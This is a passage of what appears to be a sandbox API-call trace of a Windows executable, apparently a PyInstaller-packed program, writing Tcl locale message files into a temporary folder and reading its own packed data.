"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.570] GetFileType (hFile=0x10c) returned 0x1 [0037.570] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.570] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.570] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.570] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.570] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.570] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.570] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.570] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.570] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.570] CloseHandle (hObject=0x10c) returned 1 [0037.570] GetLastError () returned 0x0 [0037.570] SetLastError (dwErrCode=0x0) [0037.570] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kw.msg") returned 61 [0037.570] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kw.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\kw.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.570] GetLastError () returned 0x2 [0037.571] SetLastError (dwErrCode=0x2) [0037.571] GetLastError () returned 0x2 [0037.571] SetLastError (dwErrCode=0x2) [0037.571] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kw.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kw.msg", lpFilePart=0x0) returned 0x3c [0037.571] GetLastError () returned 0x2 [0037.571] SetLastError (dwErrCode=0x2) [0037.571] GetLastError () returned 0x2 [0037.571] SetLastError (dwErrCode=0x2) [0037.571] GetLastError () returned 0x2 [0037.571] SetLastError (dwErrCode=0x2) [0037.571] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kw.msg") returned 61 [0037.571] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.571] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kw.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\kw.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.571] GetFileType (hFile=0x10c) returned 0x1 [0037.571] htonl (hostlong=0xc6030000) returned 0x3c6 [0037.571] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.571] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x3c6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x3c6, lpOverlapped=0x0) returned 1 [0037.572] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.572] CloseHandle (hObject=0x10c) returned 1 [0037.573] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550750 | out: hHeap=0x530000) returned 1 [0037.573] htonl (hostlong=0x30000000) returned 0x30 [0037.573] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.573] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.573] GetFileType (hFile=0x10c) returned 0x1 [0037.573] htonl (hostlong=0xd27f5700) returned 0x577fd2 [0037.573] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c2fd2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.573] htonl (hostlong=0x9f000000) returned 0x9f [0037.573] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.573] htonl (hostlong=0x9f000000) returned 0x9f [0037.573] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.573] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.573] htonl (hostlong=0xfb000000) returned 0xfb [0037.573] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.573] htonl (hostlong=0x9f000000) returned 0x9f [0037.573] htonl (hostlong=0xfb000000) returned 0xfb [0037.573] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.574] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.574] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.574] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.574] CloseHandle (hObject=0x10c) returned 1 [0037.574] GetLastError () returned 0x0 [0037.574] SetLastError (dwErrCode=0x0) [0037.574] GetLastError () returned 0x0 [0037.574] SetLastError (dwErrCode=0x0) [0037.574] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.574] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.574] GetFileType (hFile=0x10c) returned 0x1 [0037.574] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.574] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.574] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.574] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.574] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.574] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.574] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.574] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.574] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.574] CloseHandle (hObject=0x10c) returned 1 [0037.574] GetLastError () returned 0x0 [0037.574] SetLastError (dwErrCode=0x0) [0037.574] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.574] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.575] GetFileType (hFile=0x10c) returned 0x1 [0037.575] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.575] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.575] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.575] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.575] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.575] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.575] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.575] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.575] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.575] CloseHandle (hObject=0x10c) returned 1 [0037.575] GetLastError () returned 0x0 [0037.575] SetLastError (dwErrCode=0x0) [0037.575] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kw_gb.msg") returned 64 [0037.575] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kw_gb.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\kw_gb.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.575] GetLastError () returned 0x2 [0037.575] SetLastError (dwErrCode=0x2) [0037.575] GetLastError () returned 0x2 [0037.575] SetLastError (dwErrCode=0x2) [0037.575] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kw_gb.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kw_gb.msg", lpFilePart=0x0) returned 0x3f [0037.575] GetLastError () returned 0x2 [0037.575] SetLastError (dwErrCode=0x2) [0037.575] GetLastError () returned 0x2 [0037.575] SetLastError (dwErrCode=0x2) [0037.575] GetLastError () returned 0x2 [0037.575] SetLastError (dwErrCode=0x2) [0037.576] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kw_gb.msg") returned 64 [0037.576] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.576] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\kw_gb.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\kw_gb.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.576] GetFileType (hFile=0x10c) returned 0x1 [0037.576] htonl (hostlong=0xfb000000) returned 0xfb [0037.576] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.576] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.577] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.577] CloseHandle (hObject=0x10c) returned 1 [0037.578] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.578] htonl (hostlong=0x30000000) returned 0x30 [0037.578] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.578] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.578] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.578] GetFileType (hFile=0x10c) returned 0x1 [0037.578] htonl (hostlong=0x71805700) returned 0x578071 [0037.578] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c3071, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.578] htonl (hostlong=0x9d010000) returned 0x19d [0037.578] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x19d) returned 0x550600 [0037.578] htonl (hostlong=0x9d010000) returned 0x19d [0037.578] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.578] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.579] htonl (hostlong=0xe7040000) returned 0x4e7 [0037.579] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4e7) returned 0x55e278 [0037.579] htonl (hostlong=0x9d010000) returned 0x19d [0037.579] htonl (hostlong=0xe7040000) returned 0x4e7 [0037.579] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.579] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.579] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.579] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.579] CloseHandle (hObject=0x10c) returned 1 [0037.579] GetLastError () returned 0x0 [0037.579] SetLastError (dwErrCode=0x0) [0037.579] GetLastError () returned 0x0 [0037.579] SetLastError (dwErrCode=0x0) [0037.580] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.580] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.580] GetFileType (hFile=0x10c) returned 0x1 [0037.580] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.580] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.580] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.580] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.580] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.580] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.580] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.580] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.580] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.580] CloseHandle (hObject=0x10c) returned 1 [0037.580] GetLastError () returned 0x0 [0037.580] SetLastError (dwErrCode=0x0) [0037.580] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.580] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.580] GetFileType (hFile=0x10c) returned 0x1 [0037.580] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.580] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.580] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.580] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.581] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.581] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.581] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.581] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.581] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.581] CloseHandle (hObject=0x10c) returned 1 [0037.581] GetLastError () returned 0x0 [0037.581] SetLastError (dwErrCode=0x0) [0037.581] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\lt.msg") returned 61 [0037.581] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\lt.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\lt.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.581] GetLastError () returned 0x2 [0037.581] SetLastError (dwErrCode=0x2) [0037.581] GetLastError () returned 0x2 [0037.581] SetLastError (dwErrCode=0x2) [0037.581] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\lt.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\lt.msg", lpFilePart=0x0) returned 0x3c [0037.581] GetLastError () returned 0x2 [0037.581] SetLastError (dwErrCode=0x2) [0037.581] GetLastError () returned 0x2 [0037.581] SetLastError (dwErrCode=0x2) [0037.581] GetLastError () returned 0x2 [0037.581] SetLastError (dwErrCode=0x2) [0037.581] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\lt.msg") returned 61 [0037.581] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.581] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\lt.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\lt.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.582] GetFileType (hFile=0x10c) returned 0x1 [0037.582] htonl (hostlong=0xe7040000) returned 0x4e7 [0037.582] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.582] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x4e7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x4e7, lpOverlapped=0x0) returned 1 [0037.586] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.586] CloseHandle (hObject=0x10c) returned 1 [0037.587] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.587] htonl (hostlong=0x30000000) returned 0x30 [0037.587] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.587] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.587] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.587] GetFileType (hFile=0x10c) returned 0x1 [0037.587] htonl (hostlong=0xe825700) returned 0x57820e [0037.587] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c320e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.587] htonl 